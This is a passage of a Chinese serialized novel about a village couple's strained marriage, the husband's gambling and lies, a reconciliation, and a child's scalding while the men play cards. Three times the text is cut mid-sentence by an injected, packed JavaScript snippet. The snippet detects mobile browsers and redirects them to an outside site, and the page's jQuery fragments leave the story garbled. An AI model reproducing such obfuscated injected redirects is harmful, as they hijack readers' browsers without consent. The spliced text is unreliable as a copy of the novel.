赵国亮跟着沉默的王秀梅走进了店里。王秀梅没有开灯，而是直接坐在了门口旁的椅子上，一言不发。赵国亮开了灯，看着她这副样子，心里发怵，想采取怀柔政策，先缓一缓再求她原谅。他从下午开始到现在没有喝过一口水，口渴极了，便转身去倒了一杯水，大口大口地灌了下去。 看着他在那怡然自得地还在喝水，难道他就没有什么要解释的吗？自己忙前忙后到底是为了什么？难道就这样被他骗得团团转？自己苦口婆心地劝导不能碰赌博，他当面答应得好好的，背地里转身就去。他这张嘴里，到底有多少句话是真的？ 越想越生气，这一切都让王秀梅感到崩溃。她终于忍不住了，站起来将前面桌子上堆放的碟片全部推扫到了地上！ “哗啦——哐当！”一堆碟片散落在地。 正在喝水的赵国亮被这突如其来的声响惊得猛地回头，只见王秀梅满眼流泪死死地瞪着自己，那眼神里充满了绝望和愤怒。他慌忙放下水杯，赶紧冲过去抱住她。 这一年多来，他永远都是这样！永远不想改变！总是试图插科打诨的就这样糊弄过去！她受够了！这次赌博的事情，已经触碰了她的底线。长期以来的压抑让她的情绪在今晚得到了爆发。 王秀梅用尽全身力气一把将他推开，对着他失声痛哭，质问他：“赵国亮！你知道赌博是什么吗？你看看村里多少人被赌博弄得家不像一个家！” “我没有！我真没去赌！我就是去看他们玩而已，真的！我发誓！”赵国亮举起自己的右手对天发誓，赶紧表明自己的立场，语气斩钉截铁。 在他心里，事实也确实如此。这次他还没来得及下注，警察就来了，纯粹就是个“凑热闹”的。以前每次去，他也只带两三百块，就玩玩而已，输完就不下注了。跟刀哥那些真正的赌徒比起来，他觉得自己纯粹就是“娱乐”而已，自己也没有欺骗王秀梅。 很显然，在赵国亮和王秀梅心里，他们对“赌博”这个词有不同的解释。 可赵国亮这番解释，对王秀梅来说无疑是火上浇油。 “你去了多少次这样的赌博？”王秀梅现在只想知道自己是从什么时候被骗的。 “五…五次。”赵国亮的声音低了下去。 “分别是哪些什么时间？”王秀梅紧追不舍。 “去年…去年10月一次，11月一次，年底有一次…今年2月一次，然后…就是今晚这次。他们…他们差不多一个月才玩一次。”赵国亮一边回忆一边说，他看着王秀梅的眼神，看不出她的想法，这样的王秀梅，他也是第一次见，这种感受让他心里很恐慌。 “每次都只是‘看’热闹？一次都没玩？”王秀梅继续问道，眼神依旧没有变化。 “去年10月那次…还有年底那次…我下注了，不过我只带了两百块钱！而且我那两次都赢钱了！赢了1500多！你过年换的那个新手机，就是用赢的那钱买的。” “我没有给你说，就是怕你不高兴，但我发誓！我真的就是跟刚子他们去玩玩，我心里都有数的！我们家的钱都是在你那保管，我不会乱来的，秀梅，你相信我！” “你不喜欢我去，我以后都不去了！真的！我保证！” 赵国亮再次举起手，眼神恳切地望着王秀梅，等待着她的“审判”。 王秀梅就这么看着他，他这次的回答应该没有说谎。在去县里的路上，她问了李超关于赵国亮的情况，和刚刚他的回答基本一致。 但是，这不代表王秀梅心里的失望足以收回。 这次是被意外抓包了，才暴露出来。如果没有这次意外呢？之前的每一次欺骗，她都像个傻子一样被蒙在鼓里。以后呢？是不是还会有无数次？一想起之前的一次次欺骗，想到自己像个笑话一样相信他的保证，王秀梅心里就抑制不住地难受。 从什么时候开始，他开始学会对自己撒谎了？ 夫妻之间，连最基本的信任都做不到了吗？而且还是这种严重性的欺骗！ 王秀梅只觉得心里一片冰凉，巨大的茫然和痛苦让她难以抉择。这是她第一次萌生离婚的念头。 她静静地看着眼前的丈夫。胡子拉碴，头发乱糟糟地，整个人透着疲惫和颓丧。这哪还是当初那个意气风发、会对着自己耍宝卖乖的赵国亮？短短一年多，一个人怎么会变成这样？ 回想初见时的他，再看看眼前的他，简直判若两人。 王秀梅感到难受，但是看到他刚刚还是诚实地面对自己，一种沉重的无力感压得她胸口喘不过气。她顿了顿，还是决定再给个机会： “你把录像厅的店退了，别干了，以后跟我一起在服装店那边。还有，离刚子和顺子远点。” 王秀梅这一句话打破了压抑的氛围，她原本以为自己已经是足够大度原谅他。可这句话在赵国亮听来，却感到很不能理解：为什么不干录像厅了？为什么要跟刚子和顺子保持距离？他忍了一晚上的责备，还是忍不住要为自己辩解： “我不是跟你解释清楚了吗？我没有去赌！这跟录像厅有什么关系？这跟刚子他们又有什么关系？你不喜欢那种地方，我以后不去就是了！为什么要把店关了？为什么连朋友都不能来往了？” “朋友？”王秀梅的声音陡然拔高，带着深深的讽刺，“赵国亮！你难道感觉不到吗？自从你跟许耀刚合伙开了这个录像厅，你整个人就变了吗？你没发现吗？” 这个念头在她心里盘旋已久，终于可以借这次机会说了出来：“自从他来了之后，你就跟着他，整天沉迷那些吃喝玩乐！现在连赌博的场合你也敢沾了！真正的朋友会带你去赌博吗？我知道，这肯定不能全怪别人，可许耀刚没来之前，你是这样的吗？！” 王秀梅管不了那么多了！她只想生活回到一开始之前，想着如果他远离许耀刚他们，是不是就可以回到过去。 对王秀梅的质问，赵国亮满脑子就听到了“变了”这两个字，在他看来，王秀梅才是“变了”的那个人，有时候变得不可理喻、变得不通情达理、变得咄咄逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788786|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 “呵！我变了？”赵国亮只觉得一股邪火也冲了上来，开始反问道：“我变哪儿了？啊？你说我变哪儿了？” “你以前会骗我吗？”王秀梅听到他反过来质问她，眼泪又不争气地涌了出来，声音哽咽，“我问你去哪了，你说跟朋友玩，结果你跑去赌！我是不是早告诉你，我不喜欢你去沾那些东西，你嘴上答应得好好的，背过身还是去了。你说！这难得不是骗我吗？你以前什么事都会跟我说，会在乎我的感受，可现在呢？你心里还有我这个老婆吗？！” 看到赵国亮根本没有意识到自己的问题，王秀梅一股脑儿的输出自己的委屈和不满。可这些指责，在赵国亮看来全是强词夺理。 “是！我变了！我是骗了你！”赵国亮也激动起来，脸涨得通红，“可我也不想骗你啊！我也想跟你说实话啊！你愿意听吗？听了愿意理解我吗？“ “之前我去网吧是因为录像厅已经没有生意了，我无数次跟你说过生意不好我要关店去干其他的，你什么态度？你就不高兴！就非逼着我在那儿干耗起！” “还有，我跟刚子他们去看人玩牌，哪怕我一分钱不带，这事要是跟你说了，你能同意吗？！” 他喘着粗气，声音带着委屈和愤怒，继续控诉他的不易。 “我已经说了多少次了！我不会参与这种赌博，我不会像他们那样玩大的！我所有的娱乐的钱都是从你那里拿的，你自己也晓得，一笔笔都算得清楚！可你就是不信我！你还要我咋个解释？你说我没把你当老婆，那你呢？你给过我当丈夫的信任吗？！” 赵国亮越说越激动，好像找到了宣泄口：“我一直都没变！要真说变了，那也是因为你！因为你我才变的！我出去哪儿都得跟你汇报，但凡没按你心里想的做，你就不高兴！你以前是这样的人吗？你好好想想，到底是谁变了？！” 他承认在赌博这件事上欺骗了她，但他也解释了，他有分寸，只是娱乐，他心里有数的。为什么她就是不肯相信他了？ 一连串的反问迅速地朝她扔过来，王秀梅彻底崩不住了。她没有想到，在他眼里，自己对他所做的一切，所有的关心、担忧和约束，到头来都成了强迫，成了他的压力。他所有的欺骗，竟然都成了被她“逼”出来的！ 到头来，错的是自己？是自己变了？ 在这一刻，王秀梅突然忍不住笑了出来。 她确实该反思了，好像自己确实变了。 婚姻走到现在，确实改变了她。她变得斤斤计较，变得动不动就爱生气，变得动不动就压抑不住自己的情绪，变得泼辣无理。她看着眼前这个熟悉又陌生的男人，只觉得筋疲力尽。 什么都不想争论了，王秀梅感到累了，她现在只想回去抱着她的孩子。 王秀梅没有看赵国亮一眼，什么也没再说，转身离开。这是赵国亮第一次没有追上去。 也许，是该让两个人都冷静一下了。他烦躁地抓了抓头发，颓然地坐倒在刚刚王秀梅坐过的椅子上。 40. 和好 上次那场激烈的争吵过后，赵国亮和王秀梅陷入了冷战。家里气氛沉闷压抑，连赵兴强和杨红翠都明显感觉到了不对劲，但他们也不清楚两人之间的问题，明明之前还挺好的小两口怎么都不爱说话了。 杨红翠对王秀梅这个儿媳是打心眼儿里满意的。她思来想去，认定问题十有八九出在自己儿子身上。于是，这天，她瞅准机会，把赵国亮拉到一边，劈头就问：“亮娃，你是不是干啥对不起王秀梅的事情了？我可警告你，你可千万不要给我乱整那些幺蛾子。”杨红翠看到自己儿子这张脸，误以为他和其他女生有什么不正当关系被王秀梅抓包了，毕竟他的录像厅里来来往往很多“社会上”的女性。他别不知好歹，好好的媳妇不要，跟那些不三不四的混在一起。 赵国亮一听母亲想歪了，顿时不耐烦起来：“妈，你瞎琢磨啥呢？不要乱说，根本不是你想的这回事！” “那你们最近咋回事？两个人都不怎么说话。”杨红翠进一步逼问，她是过来人，怎么会不清楚王秀梅的情绪，不用想，肯定是自己儿子的问题。 “你是一个大男人，如果做错事情就赶紧道歉，别一天天臭摆脸色。别到时候把秀梅气跑了，你后悔都来不及！” 听到杨红翠的话，赵国亮还是若有所思。他回想起那天争吵时自己冲口而出的那些重话，确实过分了。他烦躁地挠了挠头，心里也在琢磨着，该怎么才能求得王秀梅的原谅？ 想了几天，赵国亮知道该怎么办了。 周五是赵国亮去市里进货的日子，回来后，王秀梅照例要和他一起在店里忙到很晚清点货物。赵国亮提前跟赵安然通了气，说要给他们带礼物回来，但需要他帮忙保密。另外，他叮嘱赵安然带着妹妹，晚上在店里要“听从指挥”。 赵无恙似懂非懂，但赵安然是个小机灵鬼，听说有“任务”和“礼物”，一脸兴奋地答应了。就这样，晚上，一家四口就都在服装店里忙碌着。 整个清点货物期间，王秀梅依旧不搭理他，对他的态度疏离而平淡。赵国亮心里七上八下，手上动作加快了不少。 眼看货物整理得差不多了，王秀梅转身去了洗手间。赵国亮瞅准机会，赶紧把藏在袋子面的“惊喜”拿出来，飞快地给赵安然使了个眼色。小安然立刻会意，拉着妹妹赵无恙躲到角落准备起来。 王秀梅这段时间心里像压了块大石头。冷战的日子不好过，但两人就这么一直僵持着，谁也不肯低头。两人同住一个屋檐下，要一起吃饭，一起带孩子，店里的事情也要沟通，赵国亮最近确实在店里帮忙勤快了不少。但有时候他这种刻意的、小心翼翼的讨好，反而让她觉得更加压抑。 有时候，她也不懂为什么，也不知道自己怎么了。 她洗完手出来，想着货也点完了，不如自己先带两个孩子回去，她实在不想和他一起走。 刚走出洗手间，“啪”的一声，店里的灯突然灭了。四周一片漆黑。王秀梅一愣，是停电了？还是跳闸了？ 都不是。是赵国亮把灯关了。 黑暗中，两个小小的身影挂着闪亮的彩灯串，摇摇晃晃地朝她走来。赵安然手里小心翼翼地端着一个水果蛋糕，赵无恙则捧着一大碗炸土豆，碗边沿还沾着点油渍，碗里的土豆明显少了许多，显然是两人提前偷吃的。 赵国亮则抱着一大束鲜艳的玫瑰花，跟在孩子后面，三人像移动的小彩灯阵，慢慢靠近不明所以的王秀梅。 王秀梅在黑暗中只看得见三个挂满闪灯的人，全然不知道发生了什么。 “是停电了吗？” 没人回答。她皱了皱眉，摸索着想去墙边把灯打开。 “啪嗒！”灯亮了。 眼前的情景让她瞬间呆住。只见赵安然嘴里咬着半边草莓，嘴巴四周还沾着白色的奶油，赵无恙更是如此，小嘴里还塞着半截没嚼完的烤肠，嘴巴周围没有奶油，反而全是辣椒红油。而站在他们身后的赵国亮，抱着一大束红玫瑰，脸上带着点紧张和期待。 他全然不知两个孩子的情况，赶紧上前单膝下跪，把王秀梅吓得往后退一步。 “宝贝，我错了！我那天不该这样对你说话，我以后都不那样了，你原谅我吧，行吗？” 灯光下，他眼底的懊悔和期待清晰可见。看着丈夫这副诚恳道歉的样子，再看看两个挂满彩灯、在一旁偷吃的“小帮手”，王秀梅说不惊喜是假的。 赵国亮见妻子没反应，更急了，赶紧冲孩子们使眼色。 赵安然是个机灵鬼，马上端着蛋糕凑上前对妈妈说：“妈妈，你就原谅爸爸吧，妈妈吃蛋糕。这个蛋糕好好吃，好多草莓。” 赵无恙也有样学样，努力把大碗炸土豆举高：“妈妈，吃炸洋芋！” 王秀梅认出了，蛋糕她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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婚姻的道路何其艰难，其中的辛酸苦涩，只有真正走过的人才能体会。 “多想想孩子……”王秀梅看着身边大口吃着蛋糕的安然和无恙，看着赵国亮给女儿擦嘴的样子，默默地在心里重复着婆婆的话。日子总要过下去。 那就……再给他一次机会，在给自己一次机会，也给这个家一次机会吧。 41. 麻木 日子像被按下了循环键，表面的平静又回来了。赵国亮确实“变”了很多：他会主动带孩子，在服装店里帮忙也勤快了些，尽管影像厅那边没关店，但也每天都在店里守着。另外，出去和朋友玩会提前跟王秀梅报备，有时甚至还会邀请她一起去。 这段时间，在邻居朋友眼里，在公婆口中，赵国亮俨然成了“顾家”好男人。王秀梅起初也没觉得哪里不对，只是心里总像蒙着一层灰，高兴不起来。一种难以言说的压抑感如影随形，感觉自己成了温水里的青蛙，对生活的热情正一点一点地被熬干。 让她困惑的是，她似乎找不到不快乐的理由。 当她让赵国亮带孩子，他会兴高采烈地把孩子带去网吧。小小的安然和无恙坐在爸爸旁边，不哭也不闹，而是瞪着大眼睛看屏幕上的打打杀杀，好奇极了。赵国亮玩得投入，孩子们也看得新奇，爷仨都挺快乐。可王秀梅远远看着，心里却像堵了块石头。 当她看到赵国亮带着两个孩子泡在游戏厅。小小的赵安然居然只用看大人的操作，就能动手摇起杆来，打得有模有样，引得旁边一群男人啧啧称赞。安然脸上满是兴奋，无恙也乖乖地在一旁看着，偶尔也上去玩几下。父子三人沉浸在他们的世界里，笑声不断。王秀梅站在门口，那笑声却像针一样扎在她心上，泛起一丝难以名状的酸楚。 当她看到赵国亮领着孩子们出现在人声鼎沸的台球厅。两个孩子被安置在角落的凳子上，盯着老板放的动画片，王秀梅听着激烈的碰撞声，心里总是沉甸甸的。 当她看到两个孩子跟着爸爸和大人们打麻将，在烟雾缭绕中，两个孩子在一旁攥着赵国亮给的零花钱买的辣条，吃得津津有味，只觉得胃里一阵翻搅，说不出的抵触。 每当这种不舒服的感觉涌上来，赵国亮仍然很贴心。他会立刻凑过来，招呼她：“秀梅，来一起玩啊，哇塞！看安然好厉害！” 或者 “老婆，来试试这个，我教你，这个操作特简单！” 于是，王秀梅也“融入”了。 在网吧，她和赵国亮一人抱着一个孩子，坐在电脑前。赵国亮手把手教她操作，跟她讲团队协作，屏幕上炫目的光影和激烈的音效暂时淹没了她的思绪。游戏进行时，似乎也有一丝短暂的快感。可当一局结束，屏幕暗下来，看着躺在怀里的孩子，她立马被拉回现实，一种巨大的空虚感瞬间将她吞没。 在游戏厅，赵国亮像是回到了恋爱时，耐心十足地指导她和两个孩子，俨然成了“老师”，她和两个孩子都是他的学生。有时赵安然也学着爸爸的样子，煞有介事地“教”妹妹。王秀梅看赵无恙配合着，心里却一片茫然。 在台球厅，赵国亮更是倾囊相授，不厌其烦地讲解握杆、瞄准、力道的技巧，陪她一局接一局地打。王秀梅有时觉得，他恨不得把自己培养成职业选手。恍惚间，她甚至觉得他可以去台球厅当上班了。 在他和朋友们搓麻将时，他会主动让出座位，把王秀梅按在牌桌前，自己则抱着赵无恙站在她身后，给她指点：“打这张！听我的没错！” 必须承认，赵国亮是个极有耐心的“老师”。在他的一手“培养”下，王秀梅的游戏水平、台球技术、麻将技巧都突飞猛进。在外人看来，他们简直是模范夫妻。丈夫体贴，妻子贤惠，儿女双全，其乐融融。 王秀梅自己也常常对着镜子问：我到底还有什么不满足的？ 和公婆关系融洽，长辈会帮自己带娃，会在经济上资助小家庭；两个孩子健健康康，不惹是生非；丈夫凡事都会跟自己报备，经济大权都在自己手里，也会陪伴孩子成长；做什么事情都会想着自己，会让自己融入他的兴趣爱好，融入他的朋友圈。 可偏偏就是这样，让王秀梅内心的压抑和痛苦如野草般疯长。快乐如同烟花，绚烂过后是更深的寂静与空洞。每当喧嚣散尽，独自一人躺在床上时，一种巨大的无力感和空虚感便席卷而来。她感觉自己像一台设定好程序的机器，在日复一日的重复中，渐渐丧失了对生活的新鲜感，变得麻木。 是的，麻木。一种在他人眼中被定义为“幸福”的麻木。 她也越来越清晰地意识到，当初争吵时赵国亮那句“变的人是你不是我”，竟一针见血。 是的，赵国亮一直都没有变。从恋爱到结婚，再到有了两个孩子，他骨子里那种天然的“孩子气”和对“自我”的执着，丝毫没有因为身份的变化而收敛。他天然的做自我，做一切自己想做的事情，活的肆意又畅快。 他依旧热衷于他喜欢的一切，无论是在服装店、录像厅、网吧、游戏厅还是台球厅，他永远能成为那个引人注目的焦点。哪怕已经是两个孩子的爸爸，仍然会有年轻的小女生在背后窃窃私语，偶尔投来倾慕目光，王秀梅对此并不陌生。因为当年，她也是被这样的赵国亮所吸引。 如果是恋爱时的王秀梅，她或许会和那些女孩一样，带着崇拜的眼神望着他。但如今，作为妻子和母亲的王秀梅，看着这样的赵国亮，内心却激不起一丝波澜，甚至有些厌倦。 她变了。 她变得渴望安定，渴望责任，渴望一个能为家庭未来筹谋的丈夫。她内心深处，是希望赵国亮能跟着她一起“长大”，一起承担。她不想看到他继续沉迷于这些在她看来是“玩物丧志”的花花场所，尤其还带着孩子。可是，看看周围的人，在这小小的乡镇里，能像赵国亮这样没有太大生活压力，还能自由“吃喝玩乐”，在很多人眼中，已经是“混得不错”的证明了。 她还能期望他做什么呢？ 像婆婆杨红翠那样面朝黄土背朝天地种菜卖菜？或者养猪养鸡鸭？杨红翠自己都舍不得儿子干这些，她只盼着儿子开店挣钱，过得体面些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788788|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。公公赵兴强农闲时也不过是在街上摆摊或打打闲牌。相比之下，赵国亮开着店，朋友多，玩得开，在他眼里，已经比他这个父亲“强”多了。 两个孩子似乎也适应并享受着这种生活。他们的零花钱比同龄孩子多，还总有一群“时髦”的叔叔们带着玩，零食不断，新鲜玩意儿不断，无忧无虑。 似乎，不满现状的，只有王秀梅自己。 王秀梅看着赵国亮跟着朋友出入乡里的娱乐场所，她心里就不舒服，尤其是孩子也跟着一起，虽然赵国亮没有强迫她必须一起去。但她也找不到一个站得住脚的理由去阻止他。不去这些地方，在这个单调的农村环境里，还能去哪里？还能做什么？ 直到李超的离开，她才从这种麻木中慢慢清醒。 李超跟着他叔叔跑长途客车好几年了。他家就在街上的学校旁边，父母开着杂货店，在乡里算家境殷实。他也是赵国亮那个“吃喝玩乐”小团体的一员。按部就班下去，他大概也会娶个村里的本地姑娘，继承父母的杂货店，或者自己再开个小店，和赵国亮一样。 但他选择了离开，离开了清泉乡。 他去了市里学汽修去了。他的离开在赵国亮那群朋友里并没有引起什么波澜，大家嘻嘻哈哈地给他送别，转头又认识了新的玩伴。因为走了李超，还有张超、王超……总会有新的朋友跟他们一起玩。 只有王秀梅觉得不一样。 有一次她和赵国亮去市里进货，顺道去李超学汽修的地方看了看，请他吃了顿饭。不大的汽修店里机油味刺鼻，李超穿着沾满油污的工作服，钻在车底下忙活，脸上带着专注。偶尔被老师傅骂了，也笑呵呵的，眼神里有一种以前没有的亮光。 看着这一幕，看到他望着自己亮晶晶的眼神，王秀梅心里某个沉寂的角落突然被触动了。她想起了自己当年在商场打工的日子，虽然辛苦，但每一天都充满干劲，心里揣着对未来的憧憬。 她想要挣钱，想要给孩子更好的生活，尤其是现在两个店子生意不太好之后，她开始感到焦虑。可转头看看赵国亮，他却没有，他还是那么心安理得地享受快乐。这种对比，让王秀梅感到深深的不平衡。 另外，他所有的付出，陪孩子、陪她，最终都导向了他自己享受的玩乐方式。他需要的，只是她和孩子融入他的世界，成为他快乐生活的一部分。他从未真正考虑过，她王秀梅想要的是什么样的人生？ 她内心那些被压抑的渴望、那些无法言说的失落，他是否曾试图理解？这才是她痛苦的根源。 王秀梅感到一种深深的无力。她改变不了赵国亮，自己也回不到那个懵懂无知、满心满眼只有爱情的自己。她就这样在日复一日的麻木中一点点清醒过来，看清了自己想要的生活，但又没有勇气逃离这一片无形的泥沼，只能清醒地看着自己，慢慢沦陷。 42. 转折（1） 2010年即将过去，2011年的春节近在眼前。 王秀梅对农村的一个陋习感到非常不理解，那就是每到年底，在外打工的男人返乡后，不是帮家里筹备过年礼节，而是扎堆在牌桌上。然后把一年辛辛苦苦挣得不多、攒下来的辛苦钱在过年这短短十几天全部输掉。随之而来的，便是妻子和丈夫激烈地吵架，甚至动手。等春节一过，又出门打工。 在农村，这样的男人太多了。 那些原本就在农村、没外出打工的男人，没有正事干的时候也是打牌。在这娱乐方式匮乏的农村，似乎别无选择。这或许也王秀梅想要离开农村的一个重要因素吧。 那农村的女人们呢？ 做农活，做家务，煮饭洗碗，喂猪喂鸡鸭等等，绝大多数大龄农村妇女都被这些杂碎的农活所填满时间。 年轻的已婚女性，除了像王秀梅这种有店子忙碌的，大多选择外出打工。相比干农活，打工不仅要轻松些，还能固定拿到实实在在的工资。 赵安然已经在读幼儿园了，明年赵无恙也要开始读小班。感受到两个店生意的日渐冷清，王秀梅觉得呆在农村也不是长久之策。另外她还在抱有期待，如果她和赵国亮两人外出打工，离开这种农村熟人社会，他会不会改变？ “以后再说吧，要是录像厅和服装店真不行了，我们去开家电吧。现在家家都需要家电，我想过了，外出打工很辛苦的，在家肯定是比外出要好很多的。再说，你能保证你出门打工就一定能挣到钱？” 王秀梅听着丈夫的“大道理”，自己的想法得到了反驳，她没有再说什么。赵国亮的话并非全无道理。若能在老家谋生，谁又愿意背井离乡、漂泊在外？ 可是，她不满意的是赵国亮的所作所为。在农村是很自由，但这种自由带来的却是无所事事，整个人沉溺于游手好闲，接触的大多都是社会无业游民，长此以往，王秀梅担心赵国亮很难不会学坏。 她太了解赵国亮了。他聪明、脑子灵活，善于交际。可他没有自律，尤其在他所处的环境和人际关系里，这个缺点足以毁掉他所有的优点。 自己该怎么办？是麻痹自己，得过且过？还是大吵大闹，逼他听自己的劝？ 王秀梅感到无比痛苦。原来婚姻需要操心的事，竟有这么多。 最近村里陈家兄弟在家里开了棋牌室，聚集了不少村里乃至乡里好赌的人，尤其是在过年期间，找不到牌友的人都去那里，最近赵国亮父子俩最近就常去。 这让王秀梅更加厌烦。 临近过年，每家每户的女人们都开始忙起来了，大扫除，购买各种年货，提前杀猪宰鸡宰鸭……忙的飞起。赵智民和赵小英今年过年没回来，在广州和舅舅一家在外团年。杨红翠和王秀梅就要更忙了。 这天，王秀梅也早早关了店回去。赵家人晚饭吃得早，五点多就吃完了。赵国亮父子刚吃完饭就被各自的牌友叫走，留下两个女人继续收拾忙碌。杨红翠提前煨了一锅鸡汤在蜂窝煤炉上，用小火慢慢炖着。她今晚要去河对岸的妹妹家拿一些黄粑回来，估计得很晚才能到家。 家里只剩下王秀梅和两个孩子。外面下着小雨，赵安然难得安分地待在家里。两兄妹正看着《喜羊羊与灰太狼》的动画片。王秀梅在灶上摊蛋圆子，要把鸡蛋打散搅匀，然后一勺一勺的烙在锅里，反正这活儿很费时间。 “砰！”一声闷响传来。什么东西掉了？ 紧接着，是赵无恙撕心裂肺的哭声。从未有过的大声哭喊。这是赵无恙第一次出现如此大的哭喊声。 “妈！快来！鸡汤倒到妹妹身上了！”赵安然的尖叫响起。 王秀梅吓得魂飞魄散，慌忙把灶上的锅端到一边，赶紧冲过去。只见一锅滚烫的鸡汤泼洒在地上，赵无恙的下半身一片通红狼藉，旁边还有一个摔倒的矮板凳。 王秀梅心胆俱裂，一把抱起女儿冲到门口，用门口的水管往她身上被烫伤的地方冲凉水降温。冷水浇上去，赵无恙哭得更加凄厉。王秀梅手忙脚乱地摸出手机，先给赵国亮打电话——无人接听！再给赵兴强打——还是无人接听！而杨红翠根本没有电话。 王秀梅吓得只能抱起孩子去隔壁李家寻求帮助，此时只有李波在家。 “李波！你爸在家吗？快送我们去卫生院！”王秀梅的声音带着哭腔。 李波看着王秀梅怀里烫得皮肉发红、哭声震天的赵无恙，再看看跟在后面哭得上气不接下气的赵安然，也慌了：“完了！我爸去给二叔家送猪肉了，昨天刚杀的猪……你给亮哥打电话没？我马上去找他！” “打了！打不通！你会骑你爸的摩托车不？要不麻烦你先送我们去街上卫生院！被鸡汤烫伤了，得赶紧处理！”王秀梅急得跺脚。 李波的摩托车是寒假回来父亲刚教的，自己骑还行，但还没有载过人。看着眼前赵无恙可怜的样子，他一咬牙，豁出去了：“行！那我载你们去。” 摩托车只能载两人。李波立刻载上抱着赵无恙的王秀梅冲向街上的卫生院，同时让赵安然赶紧去陈家 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王秀梅回到床边，看着终于哭累睡着的孩子，紧绷的神经才稍稍松弛。她去找医生询问情况，医生说如果观察半小时没问题，就可以带药回家休养，按时换药即可。 刚松了口气，想坐下歇会儿，孩子突然又哭闹起来，整个脸通红。王秀梅心里一紧，伸手一摸赵无恙的额头，发烧了！她赶紧又跑去叫医生。医生一量体温，高烧39度！准备输液。 王秀梅跑着孩子去输液室那边，里面早已没了空位。她只能在外面楼道的长椅上坐下，把孩子紧紧裹在怀里。护士匆匆过来扎针输液。冬夜的冷风从楼道灌进来，王秀梅脱下自己的外套，盖在赵无恙身上。 看着吊瓶里的液体一滴、一滴缓慢落下，王秀梅的心也像被这冰冷的点滴一点、一点地冰冻。 从晚上7点到11点，整整四个小时，赵国亮没有回一个电话。王秀梅就这样抱着发烧的女儿，在医院的寒夜里相拥。轻轻的一滴泪从眼角滑落，王秀梅用手抹去，试图抹去内心的伤痕一般。 药液快滴完时，王秀梅抱着孩子的手臂早已冻得麻木僵硬。 “王秀梅，无恙怎么样了？” 一声急切的呼唤让王秀梅抬起头，是婆婆杨红翠赶来了。看到婆婆，王秀梅眼圈瞬间红了，但她强忍着没让眼泪掉下来，心里五味杂陈。 好在赵无恙的烧终于退了。在杨红翠的帮助下，婆媳俩拿着医生开的药，抱着孩子离开医院。已接近凌晨十二点，医院里冷冷清清。王秀梅抱着孩子，杨红翠一手打着手电筒，一手撑着伞，三个人女人就这样在淅淅沥沥的雨夜中回家。 43. 转折（2） 到家后，家里的两个男人依然不见踪影。杨红翠安顿好王秀梅和赵无恙，又匆匆去李波家把赵安然接了回来。 隔天王秀梅才得知，原来李波回去后没找到赵国亮父子，在隔壁杨敏奶奶的提醒下，带着赵安然去河对岸找杨红翠。靠着赵安然的模糊记忆和一路打听，两人在半路上才遇到了取完黄粑回家的杨红翠。杨红翠一听，连背篓都来不及放回家，把东西交给李波，就直奔卫生院，顺便让李波帮忙照看赵安然。跟赵兴强过了几十年，她太清楚这时候找不到人，准是陷在牌桌上了。 直到第二天早上，杨红翠做好早饭，在家的依然只有她、王秀梅和两个孩子。直到吃完早饭，赵兴强才慢悠悠地晃荡回来。杨红翠积压了一夜的怒火再也忍不住，也顾不得什么脸面，指着他就骂开了：“你还晓得回来？你还晓得有个家啊？就是你这个老不死的没带个好头，现在小的才跟着你有样学样！” 昨晚输了钱的赵兴强本来就窝着一肚子火，一进门就撞上杨红翠劈头盖脸的大骂，更是气不打一处来：“一天到晚就晓得说！过年没得事我不打牌我干啥？大清早的吵吵嚷嚷，你是想让全村都来看笑话？好好的年都被你搅得晦气！不晓得你一天到晚净找些事情说！” 赵兴强的顶嘴让杨红翠更是火冒三丈，新账旧账一起算，哪年孩子摔了是自己一个人送去医院的；二弟亲家来拜年也找不到他人，二弟媳不高兴了多久，至今还拿这话说“亲伯伯都不露面，简直打牌打昏了”……几十年来，类似的事情数不胜数。 每次杨红翠吵架就翻旧账，赵兴强心里烦的很，干脆一句话也不说，之间上楼关门睡觉，只留下杨红翠一人在楼下气咻咻地咒骂。 在楼上房间里照顾赵无恙的王秀梅，把楼下的争吵一字不漏地听进耳中。她没有下楼劝解，也没有心力去管这些。她只在想：以后的我，也会变成这样吗？ 一想到这里，王秀梅觉得未来的日子都没有盼头了。 杨红翠至少还有精力和赵兴强大吵大闹，但是现在她，连跟赵国亮吵架的欲望都没有了。直到此刻，他连一个电话都没回。 午饭时，饭桌上依然只有家里的女人和孩子。赵兴强在楼上睡觉，赵国亮依旧不见人影。看着沉默寡言、神情木然、仿佛被抽干了生气的王秀梅，杨红翠心里明白她的愤怒和委屈。至少她自己是这么认为的。孩子出了这么大的事，家里的男人却一点忙帮不上，连个影子都见不着，这种滋味她经历过。同为女人，她能感同身受。只是王秀梅性子温柔，不像她会撒泼大骂。这反倒让杨红翠心里生出几分对儿媳妇的怜惜，觉得儿子这次实在太过分。 “秀梅啊，等亮娃回来，我一定狠狠骂他！你以后啊，也一定要管管他。” 王秀梅看着婆婆在一旁数落自己的儿子，内心毫无波澜，甚至觉得有点讽刺：“你连自己老公都管不了，又怎么管得住你儿子？” 